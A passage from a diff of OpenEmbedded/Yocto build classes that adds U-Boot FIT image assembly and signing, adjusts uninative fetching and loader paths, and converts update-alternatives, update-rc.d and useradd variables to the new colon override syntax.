+ if [ "${SPL_SIGN_ENABLE}" = "1" -a -n "${SPL_DTB_BINARY}" ]; then
+ install_spl_helper
+ fi
done
else
cd ${B}
- install_helper
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -o "${UBOOT_FITIMAGE_ENABLE}" = "1" ] && \
+ [ -n "${UBOOT_DTB_BINARY}" ]; then
+ install_helper
+ fi
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" -a -n "${SPL_DTB_BINARY}" ]; then
+ install_spl_helper
+ fi
fi
fi
}
+do_uboot_generate_rsa_keys() {
+ if [ "${SPL_SIGN_ENABLE}" = "0" ] && [ "${UBOOT_FIT_GENERATE_KEYS}" = "1" ]; then
+ bbwarn "UBOOT_FIT_GENERATE_KEYS is set to 1 eventhough SPL_SIGN_ENABLE is set to 0. The keys will not be generated as they won't be used."
+ fi
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" ] && [ "${UBOOT_FIT_GENERATE_KEYS}" = "1" ]; then
+
+ # Generate keys only if they don't already exist
+ if [ ! -f "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".key ] || \
+ [ ! -f "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".crt ]; then
+
+ # make directory if it does not already exist
+ mkdir -p "${SPL_SIGN_KEYDIR}"
+
+ echo "Generating RSA private key for signing U-Boot fitImage"
+ openssl genrsa ${UBOOT_FIT_KEY_GENRSA_ARGS} -out \
+ "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".key \
+ "${UBOOT_FIT_SIGN_NUMBITS}"
+
+ echo "Generating certificate for signing U-Boot fitImage"
+ openssl req ${FIT_KEY_REQ_ARGS} "${UBOOT_FIT_KEY_SIGN_PKCS}" \
+ -key "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".key \
+ -out "${SPL_SIGN_KEYDIR}/${SPL_SIGN_KEYNAME}".crt
+ fi
+ fi
+
+}
+
+addtask uboot_generate_rsa_keys before do_uboot_assemble_fitimage after do_compile
+
+# Create a ITS file for the U-boot FIT, for use when
+# we want to sign it so that the SPL can verify it
+uboot_fitimage_assemble() {
+ uboot_its="$1"
+ uboot_nodtb_bin="$2"
+ uboot_dtb="$3"
+ uboot_bin="$4"
+ spl_dtb="$5"
+ uboot_csum="${UBOOT_FIT_HASH_ALG}"
+ uboot_sign_algo="${UBOOT_FIT_SIGN_ALG}"
+ uboot_sign_keyname="${SPL_SIGN_KEYNAME}"
+
+ rm -f $uboot_its $uboot_bin
+
+ # First we create the ITS script
+ cat << EOF >> $uboot_its
+/dts-v1/;
+
+/ {
+ description = "${UBOOT_FIT_DESC}";
+ #address-cells = <1>;
+
+ images {
+ uboot {
+ description = "U-Boot image";
+ data = /incbin/("$uboot_nodtb_bin");
+ type = "standalone";
+ os = "u-boot";
+ arch = "${UBOOT_ARCH}";
+ compression = "none";
+ load = <${UBOOT_LOADADDRESS}>;
+ entry = <${UBOOT_ENTRYPOINT}>;
+EOF
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" ] ; then
+ cat << EOF >> $uboot_its
+ signature {
+ algo = "$uboot_csum,$uboot_sign_algo";
+ key-name-hint = "$uboot_sign_keyname";
+ };
+EOF
+ fi
+
+ cat << EOF >> $uboot_its
+ };
+ fdt {
+ description = "U-Boot FDT";
+ data = /incbin/("$uboot_dtb");
+ type = "flat_dt";
+ arch = "${UBOOT_ARCH}";
+ compression = "none";
+EOF
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" ] ; then
+ cat << EOF >> $uboot_its
+ signature {
+ algo = "$uboot_csum,$uboot_sign_algo";
+ key-name-hint = "$uboot_sign_keyname";
+ };
+EOF
+ fi
+
+ cat << EOF >> $uboot_its
+ };
+ };
+
+ configurations {
+ default = "conf";
+ conf {
+ description = "Boot with signed U-Boot FIT";
+ loadables = "uboot";
+ fdt = "fdt";
+ };
+ };
+};
+EOF
+
+ #
+ # Assemble the U-boot FIT image
+ #
+ ${UBOOT_MKIMAGE} \
+ ${@'-D "${SPL_MKIMAGE_DTCOPTS}"' if len('${SPL_MKIMAGE_DTCOPTS}') else ''} \
+ -f $uboot_its \
+ $uboot_bin
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" ] ; then
+ #
+ # Sign the U-boot FIT image and add public key to SPL dtb
+ #
+ ${UBOOT_MKIMAGE_SIGN} \
+ ${@'-D "${SPL_MKIMAGE_DTCOPTS}"' if len('${SPL_MKIMAGE_DTCOPTS}') else ''} \
+ -F -k "${SPL_SIGN_KEYDIR}" \
+ -K "$spl_dtb" \
+ -r $uboot_bin \
+ ${SPL_MKIMAGE_SIGN_ARGS}
+ fi
+
+}
+
+do_uboot_assemble_fitimage() {
+ # This function runs in KERNEL_PN context. The reason for that is that we need to
+ # support the scenario where UBOOT_SIGN_ENABLE is placing the Kernel fitImage's
+ # pubkey in the u-boot.dtb file, so that we can use it when building the U-Boot
+ # fitImage itself.
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" ] && \
+ [ -n "${SPL_DTB_BINARY}" -a "${PN}" = "${KERNEL_PN}" ] ; then
+ if [ "${UBOOT_SIGN_ENABLE}" != "1" ]; then
+ # If we're not signing the Kernel fitImage, that means
+ # we need to copy the u-boot.dtb from staging ourselves
+ cp -P ${STAGING_DATADIR}/u-boot*.dtb ${B}
+ fi
+ # As we are in the kernel context, we need to copy u-boot-spl.dtb from staging first.
+ # Unfortunately, need to glob on top of ${SPL_DTB_BINARY} since _IMAGE and _SYMLINK
+ # will contain U-boot's PV
+ # Similarly, we need to get the filename for the 'stub' u-boot-fitimage + its in
+ # staging so that we can use it for creating the image with the correct filename
+ # in the KERNEL_PN context.
+ # As for the u-boot.dtb (with fitimage's pubkey), it should come from the dependent
+ # do_assemble_fitimage task
+ cp -P ${STAGING_DATADIR}/u-boot-spl*.dtb ${B}
+ cp -P ${STAGING_DATADIR}/u-boot-nodtb*.bin ${B}
+ rm -rf ${B}/u-boot-fitImage-* ${B}/u-boot-its-*
+ kernel_uboot_fitimage_name=`basename ${STAGING_DATADIR}/u-boot-fitImage-*`
+ kernel_uboot_its_name=`basename ${STAGING_DATADIR}/u-boot-its-*`
+ cd ${B}
+ uboot_fitimage_assemble $kernel_uboot_its_name ${UBOOT_NODTB_BINARY} \
+ ${UBOOT_DTB_BINARY} $kernel_uboot_fitimage_name \
+ ${SPL_DTB_BINARY}
+ fi
+}
+
+addtask uboot_assemble_fitimage before do_deploy after do_compile
+
+do_deploy:prepend:pn-${UBOOT_PN}() {
+ if [ "${UBOOT_SIGN_ENABLE}" = "1" -a -n "${UBOOT_DTB_BINARY}" ] ; then
+ concat_dtb
+ fi
+
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" ] ; then
+ # Deploy the u-boot-nodtb binary and symlinks...
+ if [ -f "${SPL_DIR}/${SPL_NODTB_BINARY}" ] ; then
+ echo "Copying u-boot-nodtb binary..."
+ install -m 0644 ${SPL_DIR}/${SPL_NODTB_BINARY} ${DEPLOYDIR}/${SPL_NODTB_IMAGE}
+ ln -sf ${SPL_NODTB_IMAGE} ${DEPLOYDIR}/${SPL_NODTB_SYMLINK}
+ ln -sf ${SPL_NODTB_IMAGE} ${DEPLOYDIR}/${SPL_NODTB_BINARY}
+ fi
+
+
+ # We only deploy the symlinks to the uboot-fitImage and uboot-its
+ # images, as the KERNEL_PN will take care of deploying the real file
+ ln -sf ${UBOOT_FITIMAGE_IMAGE} ${DEPLOYDIR}/${UBOOT_FITIMAGE_BINARY}
+ ln -sf ${UBOOT_FITIMAGE_IMAGE} ${DEPLOYDIR}/${UBOOT_FITIMAGE_SYMLINK}
+ ln -sf ${UBOOT_ITS_IMAGE} ${DEPLOYDIR}/${UBOOT_ITS}
+ ln -sf ${UBOOT_ITS_IMAGE} ${DEPLOYDIR}/${UBOOT_ITS_SYMLINK}
+ fi
+
+ if [ "${SPL_SIGN_ENABLE}" = "1" -a -n "${SPL_DTB_BINARY}" ] ; then
+ concat_spl_dtb
+ fi
+
+
+}
+
+do_deploy:append:pn-${UBOOT_PN}() {
+ # If we're creating a u-boot fitImage, point u-boot.bin
+ # symlink since it might get used by image recipes
+ if [ "${UBOOT_FITIMAGE_ENABLE}" = "1" ] ; then
+ ln -sf ${UBOOT_FITIMAGE_IMAGE} ${DEPLOYDIR}/${UBOOT_BINARY}
+ ln -sf ${UBOOT_FITIMAGE_IMAGE} ${DEPLOYDIR}/${UBOOT_SYMLINK}
+ fi
+}
+
python () {
- if d.getVar('UBOOT_SIGN_ENABLE') == '1' and d.getVar('PN') == d.getVar('UBOOT_PN') and d.getVar('UBOOT_DTB_BINARY'):
- kernel_pn = d.getVar('PREFERRED_PROVIDER_virtual/kernel')
+ if ( (d.getVar('UBOOT_SIGN_ENABLE') == '1'
+ or d.getVar('UBOOT_FITIMAGE_ENABLE') == '1')
+ and d.getVar('PN') == d.getVar('UBOOT_PN')
+ and d.getVar('UBOOT_DTB_BINARY')):
# Make "bitbake u-boot -cdeploy" deploys the signed u-boot.dtb
- d.appendVarFlag('do_deploy', 'depends', ' %s:do_deploy' % kernel_pn)
+ # and/or the U-Boot fitImage
+ d.appendVarFlag('do_deploy', 'depends', ' %s:do_deploy' % d.getVar('KERNEL_PN'))
+
+ if d.getVar('UBOOT_FITIMAGE_ENABLE') == '1' and d.getVar('PN') == d.getVar('KERNEL_PN'):
+ # As the U-Boot fitImage is created by the KERNEL_PN, we need
+ # to make sure that the u-boot-spl.dtb and u-boot-spl-nodtb.bin
+ # files are in the staging dir for it's use
+ d.appendVarFlag('do_uboot_assemble_fitimage', 'depends', ' %s:do_populate_sysroot' % d.getVar('UBOOT_PN'))
+
+ # If the Kernel fitImage is being signed, we need to
+ # create the U-Boot fitImage after it
+ if d.getVar('UBOOT_SIGN_ENABLE') == '1':
+ d.appendVarFlag('do_uboot_assemble_fitimage', 'depends', ' %s:do_assemble_fitimage' % d.getVar('KERNEL_PN'))
+ d.appendVarFlag('do_uboot_assemble_fitimage', 'depends', ' %s:do_assemble_fitimage_initramfs' % d.getVar('KERNEL_PN'))
- # kernerl's do_deploy is a litle special, so we can't use
- # do_deploy_append, otherwise it would override
- # kernel_do_deploy.
- d.appendVarFlag('do_deploy', 'prefuncs', ' concat_dtb')
}
diff --git a/meta/classes/uninative.bbclass b/meta/classes/uninative.bbclass
index 9f8645a36a..6a9e862bcd 100644
--- a/meta/classes/uninative.bbclass
+++ b/meta/classes/uninative.bbclass
@@ -1,16 +1,16 @@
-UNINATIVE_LOADER ?= "${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux/lib/${@bb.utils.contains('BUILD_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'i686', 'ld-linux.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'aarch64', 'ld-linux-aarch64.so.1', '', d)}"
+UNINATIVE_LOADER ?= "${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux/lib/${@bb.utils.contains('BUILD_ARCH', 'x86_64', 'ld-linux-x86-64.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'i686', 'ld-linux.so.2', '', d)}${@bb.utils.contains('BUILD_ARCH', 'aarch64', 'ld-linux-aarch64.so.1', '', d)}${@bb.utils.contains('BUILD_ARCH', 'ppc64le', 'ld64.so.2', '', d)}"
UNINATIVE_STAGING_DIR ?= "${STAGING_DIR}"
UNINATIVE_URL ?= "unset"
-UNINATIVE_TARBALL ?= "${BUILD_ARCH}-nativesdk-libc.tar.xz"
+UNINATIVE_TARBALL ?= "${BUILD_ARCH}-nativesdk-libc-${UNINATIVE_VERSION}.tar.xz"
# Example checksums
#UNINATIVE_CHECKSUM[aarch64] = "dead"
#UNINATIVE_CHECKSUM[i686] = "dead"
#UNINATIVE_CHECKSUM[x86_64] = "dead"
UNINATIVE_DLDIR ?= "${DL_DIR}/uninative/"
-# Enabling uninative will change the following variables so they need to go the parsing white list to prevent multiple recipe parsing
-BB_HASHCONFIG_WHITELIST += "NATIVELSBSTRING SSTATEPOSTUNPACKFUNCS BUILD_LDFLAGS"
+# Enabling uninative will change the following variables so they need to go the parsing ignored variables list to prevent multiple recipe parsing
+BB_HASHCONFIG_IGNORE_VARS += "NATIVELSBSTRING SSTATEPOSTUNPACKFUNCS BUILD_LDFLAGS"
addhandler uninative_event_fetchloader
uninative_event_fetchloader[eventmask] = "bb.event.BuildStarted"
@@ -56,12 +56,17 @@ python uninative_event_fetchloader() {
# Our games with path manipulation of DL_DIR mean standard PREMIRRORS don't work
# and we can't easily put 'chksum' into the url path from a url parameter with
# the current fetcher url handling
- ownmirror = d.getVar('SOURCE_MIRROR_URL')
- if ownmirror:
- localdata.appendVar("PREMIRRORS", " ${UNINATIVE_URL}${UNINATIVE_TARBALL} ${SOURCE_MIRROR_URL}/uninative/%s/${UNINATIVE_TARBALL}" % chksum)
+ premirrors = bb.fetch2.mirror_from_string(localdata.getVar("PREMIRRORS"))
+ for line in premirrors:
+ try:
+ (find, replace) = line
+ except ValueError:
+ continue
+ if find.startswith("http"):
+ localdata.appendVar("PREMIRRORS", " ${UNINATIVE_URL}${UNINATIVE_TARBALL} %s/uninative/%s/${UNINATIVE_TARBALL}" % (replace, chksum))
srcuri = d.expand("${UNINATIVE_URL}${UNINATIVE_TARBALL};sha256sum=%s" % chksum)
- bb.note("Fetching uninative binary shim from %s" % srcuri)
+ bb.note("Fetching uninative binary shim %s (will check PREMIRRORS first)" % srcuri)
fetcher = bb.fetch2.Fetch([srcuri], localdata, cache=False)
fetcher.download()
@@ -84,7 +89,7 @@ python uninative_event_fetchloader() {
# ldd output is "ldd (Ubuntu GLIBC 2.23-0ubuntu10) 2.23", extract last option from first line
glibcver = subprocess.check_output(["ldd", "--version"]).decode('utf-8').split('\n')[0].split()[-1]
if bb.utils.vercmp_string(d.getVar("UNINATIVE_MAXGLIBCVERSION"), glibcver) < 0:
- raise RuntimeError("Your host glibc verson (%s) is newer than that in uninative (%s). Disabling uninative so that sstate is not corrupted." % (glibcver, d.getVar("UNINATIVE_MAXGLIBCVERSION")))
+ raise RuntimeError("Your host glibc version (%s) is newer than that in uninative (%s). Disabling uninative so that sstate is not corrupted." % (glibcver, d.getVar("UNINATIVE_MAXGLIBCVERSION")))
cmd = d.expand("\
mkdir -p ${UNINATIVE_STAGING_DIR}-uninative; \
@@ -95,7 +100,7 @@ ${UNINATIVE_STAGING_DIR}-uninative/relocate_sdk.py \
${UNINATIVE_LOADER} \
${UNINATIVE_LOADER} \
${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux/${bindir_native}/patchelf-uninative \
- ${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux${base_libdir_native}/libc*.so" % chksum)
+ ${UNINATIVE_STAGING_DIR}-uninative/${BUILD_ARCH}-linux${base_libdir_native}/libc*.so*" % chksum)
subprocess.check_output(cmd, shell=True)
with open(loaderchksum, "w") as f:
diff --git a/meta/classes/update-alternatives.bbclass b/meta/classes/update-alternatives.bbclass
index 8c2b66e7f1..fc1ffd828c 100644
--- a/meta/classes/update-alternatives.bbclass
+++ b/meta/classes/update-alternatives.bbclass
@@ -6,9 +6,9 @@
# To use this class a number of variables should be defined:
#
# List all of the alternatives needed by a package:
-# ALTERNATIVE_<pkg> = "name1 name2 name3 ..."
+# ALTERNATIVE:<pkg> = "name1 name2 name3 ..."
#
-# i.e. ALTERNATIVE_busybox = "sh sed test bracket"
+# i.e. ALTERNATIVE:busybox = "sh sed test bracket"
#
# The pathname of the link
# ALTERNATIVE_LINK_NAME[name] = "target"
@@ -123,7 +123,7 @@ def gen_updatealternativesvars(d):
for p in pkgs:
for v in vars:
- ret.append(v + "_" + p)
+ ret.append(v + ":" + p)
ret.append(v + "_VARDEPS_" + p)
return " ".join(ret)
@@ -141,10 +141,10 @@ python apply_update_alternative_renames () {
import re
def update_files(alt_target, alt_target_rename, pkg, d):
- f = d.getVar('FILES_' + pkg)
+ f = d.getVar('FILES:' + pkg)
if f:
f = re.sub(r'(^|\s)%s(\s|$)' % re.escape (alt_target), r'\1%s\2' % alt_target_rename, f)
- d.setVar('FILES_' + pkg, f)
+ d.setVar('FILES:' + pkg, f)
# Check for deprecated usage...
pn = d.getVar('BPN')
@@ -156,7 +156,7 @@ python apply_update_alternative_renames () {
for pkg in (d.getVar('PACKAGES') or "").split():
# If the src == dest, we know we need to rename the dest by appending ${BPN}
link_rename = []
- for alt_name in (d.getVar('ALTERNATIVE_%s' % pkg) or "").split():
+ for alt_name in (d.getVar('ALTERNATIVE:%s' % pkg) or "").split():
alt_link = d.getVarFlag('ALTERNATIVE_LINK_NAME', alt_name)
if not alt_link:
alt_link = "%s/%s" % (d.getVar('bindir'), alt_name)
@@ -184,7 +184,7 @@ python apply_update_alternative_renames () {
link_rename.append((alt_target, alt_target_rename))
else:
bb.note('%s: Rename %s -> %s' % (pn, alt_target, alt_target_rename))
- os.rename(src, dest)
+ bb.utils.rename(src, dest)
update_files(alt_target, alt_target_rename, pkg, d)
else:
bb.warn("%s: alternative target (%s or %s) does not exist, skipping..." % (pn, alt_target, alt_target_rename))
@@ -201,7 +201,7 @@ python apply_update_alternative_renames () {
if os.path.lexists(link_target):
# Ok, the link_target exists, we can rename
bb.note('%s: Rename (link) %s -> %s' % (pn, alt_target, alt_target_rename))
- os.rename(src, dest)
+ bb.utils.rename(src, dest)
else:
# Try to resolve the broken link to link.${BPN}
link_maybe = '%s.%s' % (os.readlink(src), pn)
@@ -233,7 +233,7 @@ def update_alternatives_alt_targets(d, pkg):
pn = d.getVar('BPN')
pkgdest = d.getVar('PKGD')
updates = list()
- for alt_name in (d.getVar('ALTERNATIVE_%s' % pkg) or "").split():
+ for alt_name in (d.getVar('ALTERNATIVE:%s' % pkg) or "").split():
alt_link = d.getVarFlag('ALTERNATIVE_LINK_NAME', alt_name)
alt_target = d.getVarFlag('ALTERNATIVE_TARGET_%s' % pkg, alt_name) or \
d.getVarFlag('ALTERNATIVE_TARGET', alt_name) or \
@@ -259,7 +259,7 @@ def update_alternatives_alt_targets(d, pkg):
return updates
-PACKAGESPLITFUNCS_prepend = "populate_packages_updatealternatives "
+PACKAGESPLITFUNCS:prepend = "populate_packages_updatealternatives "
python populate_packages_updatealternatives () {
if not update_alternatives_enabled(d):
@@ -280,24 +280,24 @@ python populate_packages_updatealternatives () {
provider = d.getVar('VIRTUAL-RUNTIME_update-alternatives')
if provider:
#bb.note('adding runtime requirement for update-alternatives for %s' % pkg)
- d.appendVar('RDEPENDS_%s' % pkg, ' ' + d.getVar('MLPREFIX', False) + provider)
+ d.appendVar('RDEPENDS:%s' % pkg, ' ' + d.getVar('MLPREFIX', False) + provider)
bb.note('adding update-alternatives calls to postinst/prerm for %s' % pkg)
bb.note('%s' % alt_setup_links)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if postinst:
postinst = alt_setup_links + postinst
else:
postinst = '#!/bin/sh\n' + alt_setup_links
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
bb.note('%s' % alt_remove_links)
- prerm = d.getVar('pkg_prerm_%s' % pkg) or '#!/bin/sh\n'
+ prerm = d.getVar('pkg_prerm:%s' % pkg) or '#!/bin/sh\n'
prerm += alt_remove_links
- d.setVar('pkg_prerm_%s' % pkg, prerm)
+ d.setVar('pkg_prerm:%s' % pkg, prerm)
}
-python package_do_filedeps_append () {
+python package_do_filedeps:append () {
if update_alternatives_enabled(d):
apply_update_alternative_provides(d)
}
@@ -307,7 +307,7 @@ def apply_update_alternative_provides(d):
pkgdest = d.getVar('PKGDEST')
for pkg in d.getVar('PACKAGES').split():
- for alt_name in (d.getVar('ALTERNATIVE_%s' % pkg) or "").split():
+ for alt_name in (d.getVar('ALTERNATIVE:%s' % pkg) or "").split():
alt_link = d.getVarFlag('ALTERNATIVE_LINK_NAME', alt_name)
alt_target = d.getVarFlag('ALTERNATIVE_TARGET_%s' % pkg, alt_name) or d.getVarFlag('ALTERNATIVE_TARGET', alt_name)
alt_target = alt_target or d.getVar('ALTERNATIVE_TARGET_%s' % pkg) or d.getVar('ALTERNATIVE_TARGET') or alt_link
@@ -321,7 +321,7 @@ def apply_update_alternative_provides(d):
# Add file provide
trans_target = oe.package.file_translate(alt_target)
- d.appendVar('FILERPROVIDES_%s_%s' % (trans_target, pkg), " " + alt_link)
- if not trans_target in (d.getVar('FILERPROVIDESFLIST_%s' % pkg) or ""):
- d.appendVar('FILERPROVIDESFLIST_%s' % pkg, " " + trans_target)
+ d.appendVar('FILERPROVIDES:%s:%s' % (trans_target, pkg), " " + alt_link)
+ if not trans_target in (d.getVar('FILERPROVIDESFLIST:%s' % pkg) or ""):
+ d.appendVar('FILERPROVIDESFLIST:%s' % pkg, " " + trans_target)
diff --git a/meta/classes/update-rc.d.bbclass b/meta/classes/update-rc.d.bbclass
index 1366fee653..0a3a608662 100644
--- a/meta/classes/update-rc.d.bbclass
+++ b/meta/classes/update-rc.d.bbclass
@@ -1,11 +1,11 @@
UPDATERCPN ?= "${PN}"
-DEPENDS_append_class-target = "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', ' update-rc.d initscripts', '', d)}"
+DEPENDS:append:class-target = "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', ' update-rc.d initscripts', '', d)}"
UPDATERCD = "update-rc.d"
-UPDATERCD_class-cross = ""
-UPDATERCD_class-native = ""
-UPDATERCD_class-nativesdk = ""
+UPDATERCD:class-cross = ""
+UPDATERCD:class-native = ""
+UPDATERCD:class-nativesdk = ""
INITSCRIPT_PARAMS ?= "defaults"
@@ -62,8 +62,8 @@ python __anonymous() {
update_rc_after_parse(d)
}
-PACKAGESPLITFUNCS_prepend = "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'populate_packages_updatercd ', '', d)}"
-PACKAGESPLITFUNCS_remove_class-nativesdk = "populate_packages_updatercd "
+PACKAGESPLITFUNCS:prepend = "${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'populate_packages_updatercd ', '', d)}"
+PACKAGESPLITFUNCS:remove:class-nativesdk = "populate_packages_updatercd "
populate_packages_updatercd[vardeps] += "updatercd_prerm updatercd_postrm updatercd_postinst"
populate_packages_updatercd[vardepsexclude] += "OVERRIDES"
@@ -78,7 +78,7 @@ python populate_packages_updatercd () {
statement = "grep -q -w '/etc/init.d/functions' %s" % path
if subprocess.call(statement, shell=True) == 0:
mlprefix = d.getVar('MLPREFIX') or ""
- d.appendVar('RDEPENDS_' + pkg, ' %sinitd-functions' % (mlprefix))
+ d.appendVar('RDEPENDS:' + pkg, ' %sinitd-functions' % (mlprefix))
def update_rcd_package(pkg):
bb.debug(1, 'adding update-rc.d calls to postinst/prerm/postrm for %s' % pkg)
@@ -89,25 +89,25 @@ python populate_packages_updatercd () {
update_rcd_auto_depend(pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += localdata.getVar('updatercd_postinst')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
- prerm = d.getVar('pkg_prerm_%s' % pkg)
+ prerm = d.getVar('pkg_prerm:%s' % pkg)
if not prerm:
prerm = '#!/bin/sh\n'
prerm += localdata.getVar('updatercd_prerm')
- d.setVar('pkg_prerm_%s' % pkg, prerm)
+ d.setVar('pkg_prerm:%s' % pkg, prerm)
- postrm = d.getVar('pkg_postrm_%s' % pkg)
+ postrm = d.getVar('pkg_postrm:%s' % pkg)
if not postrm:
postrm = '#!/bin/sh\n'
postrm += localdata.getVar('updatercd_postrm')
- d.setVar('pkg_postrm_%s' % pkg, postrm)
+ d.setVar('pkg_postrm:%s' % pkg, postrm)
- d.appendVar('RRECOMMENDS_' + pkg, " ${MLPREFIX}${UPDATERCD}")
+ d.appendVar('RRECOMMENDS:' + pkg, " ${MLPREFIX}${UPDATERCD}")
# Check that this class isn't being inhibited (generally, by
# systemd.bbclass) before doing any work.
diff --git a/meta/classes/useradd-staticids.bbclass b/meta/classes/useradd-staticids.bbclass
index 3a1b5f1320..3acf59cd46 100644
--- a/meta/classes/useradd-staticids.bbclass
+++ b/meta/classes/useradd-staticids.bbclass
@@ -77,7 +77,7 @@ def update_useradd_static_config(d):
try:
uaargs = parser.parse_args(oe.useradd.split_args(param))
except Exception as e:
- bb.fatal("%s: Unable to parse arguments for USERADD_PARAM_%s '%s': %s" % (d.getVar('PN'), pkg, param, e))
+ bb.fatal("%s: Unable to parse arguments for USERADD_PARAM:%s '%s': %s" % (d.getVar('PN'), pkg, param, e))
# Read all passwd files specified in USERADD_UID_TABLES or files/passwd
# Use the standard passwd layout:
@@ -140,13 +140,13 @@ def update_useradd_static_config(d):
uaargs.gid = uaargs.groupid
uaargs.user_group = None
if newgroup and is_pkg:
- groupadd = d.getVar("GROUPADD_PARAM_%s" % pkg)
+ groupadd = d.getVar("GROUPADD_PARAM:%s" % pkg)
if groupadd:
# Only add the group if not already specified
if not uaargs.groupname in groupadd:
- d.setVar("GROUPADD_PARAM_%s" % pkg, "%s; %s" % (groupadd, newgroup))
+ d.setVar("GROUPADD_PARAM:%s" % pkg, "%s; %s" % (groupadd, newgroup))
else:
- d.setVar("GROUPADD_PARAM_%s" % pkg, newgroup)
+ d.setVar("GROUPADD_PARAM:%s" % pkg, newgroup)
uaargs.comment = "'%s'" % field[4] if field[4] else uaargs.comment
uaargs.home_dir = field[5] or uaargs.home_dir
@@ -174,8 +174,6 @@ def update_useradd_static_config(d):
newparam += ['', ' --non-unique'][uaargs.non_unique]
if uaargs.password != None:
newparam += ['', ' --password %s' % uaargs.password][uaargs.password != None]
- elif uaargs.clear_password:
- newparam += ['', ' --clear-password %s' % uaargs.clear_password][uaargs.clear_password != None]
newparam += ['', ' --root %s' % uaargs.root][uaargs.root != None]
newparam += ['', ' --system'][uaargs.system]
newparam += ['', ' --shell %s' % uaargs.shell][uaargs.shell != None]
@@ -198,7 +196,7 @@ def update_useradd_static_config(d):
# If we're processing multiple lines, we could have left over values here...
gaargs = parser.parse_args(oe.useradd.split_args(param))
except Exception as e:
- bb.fatal("%s: Unable to parse arguments for GROUPADD_PARAM_%s '%s': %s" % (d.getVar('PN'), pkg, param, e))
+ bb.fatal("%s: Unable to parse arguments for GROUPADD_PARAM:%s '%s': %s" % (d.getVar('PN'), pkg, param, e))
# Read all group files specified in USERADD_GID_TABLES or files/group
# Use the standard group layout:
@@ -236,8 +234,6 @@ def update_useradd_static_config(d):
newparam += ['', ' --non-unique'][gaargs.non_unique]
if gaargs.password != None:
newparam += ['', ' --password %s' % gaargs.password][gaargs.password != None]
- elif gaargs.clear_password:
- newparam += ['', ' --clear-password %s' % gaargs.clear_password][gaargs.clear_password != None]
newparam += ['', ' --root %s' % gaargs.root][gaargs.root != None]
newparam += ['', ' --system'][gaargs.system]
newparam += ' %s' % gaargs.GROUP
@@ -265,17 +261,17 @@ def update_useradd_static_config(d):
for pkg in useradd_packages.split():
# Groupmems doesn't have anything we might want to change, so simply validating
# is a bit of a waste -- only process useradd/groupadd
- useradd_param = d.getVar('USERADD_PARAM_%s' % pkg)
+ useradd_param = d.getVar('USERADD_PARAM:%s' % pkg)
if useradd_param:
- #bb.warn("Before: 'USERADD_PARAM_%s' - '%s'" % (pkg, useradd_param))
- d.setVar('USERADD_PARAM_%s' % pkg, rewrite_useradd(useradd_param, True))
- #bb.warn("After: 'USERADD_PARAM_%s' - '%s'" % (pkg, d.getVar('USERADD_PARAM_%s' % pkg)))
+ #bb.warn("Before: 'USERADD_PARAM:%s' - '%s'" % (pkg, useradd_param))
+ d.setVar('USERADD_PARAM:%s' % pkg, rewrite_useradd(useradd_param, True))
+ #bb.warn("After: 'USERADD_PARAM:%s' - '%s'" % (pkg, d.getVar('USERADD_PARAM:%s' % pkg)))
- groupadd_param = d.getVar('GROUPADD_PARAM_%s' % pkg)
+ groupadd_param = d.getVar('GROUPADD_PARAM:%s' % pkg)
if groupadd_param:
- #bb.warn("Before: 'GROUPADD_PARAM_%s' - '%s'" % (pkg, groupadd_param))
- d.setVar('GROUPADD_PARAM_%s' % pkg, rewrite_groupadd(groupadd_param, True))
- #bb.warn("After: 'GROUPADD_PARAM_%s' - '%s'" % (pkg, d.getVar('GROUPADD_PARAM_%s' % pkg)))
+ #bb.warn("Before: 'GROUPADD_PARAM:%s' - '%s'" % (pkg, groupadd_param))
+ d.setVar('GROUPADD_PARAM:%s' % pkg, rewrite_groupadd(groupadd_param, True))
+ #bb.warn("After: 'GROUPADD_PARAM:%s' - '%s'" % (pkg, d.getVar('GROUPADD_PARAM:%s' % pkg)))
# Load and process extra users and groups, rewriting only adduser/addgroup params
pkg = d.getVar('PN')
diff --git a/meta/classes/useradd.bbclass b/meta/classes/useradd.bbclass
index e5f3ba24f9..20771a0ce5 100644
--- a/meta/classes/useradd.bbclass
+++ b/meta/classes/useradd.bbclass
@@ -3,7 +3,7 @@ inherit useradd_base
# base-passwd-cross provides the default passwd and group files in the
# target sysroot, and shadow -native and -sysroot provide the utilities
# and support files needed to add and modify user and group accounts
-DEPENDS_append_class-target = " base-files shadow-native shadow-sysroot shadow base-passwd"
+DEPENDS:append:class-target = " base-files shadow-native shadow-sysroot shadow base-passwd"
PACKAGE_WRITE_DEPS += "shadow-native"
# This preinstall function can be run in four different contexts:
@@ -164,16 +164,16 @@ python useradd_sysroot_sstate () {
}
do_prepare_recipe_sysroot[postfuncs] += "${SYSROOTFUNC}"
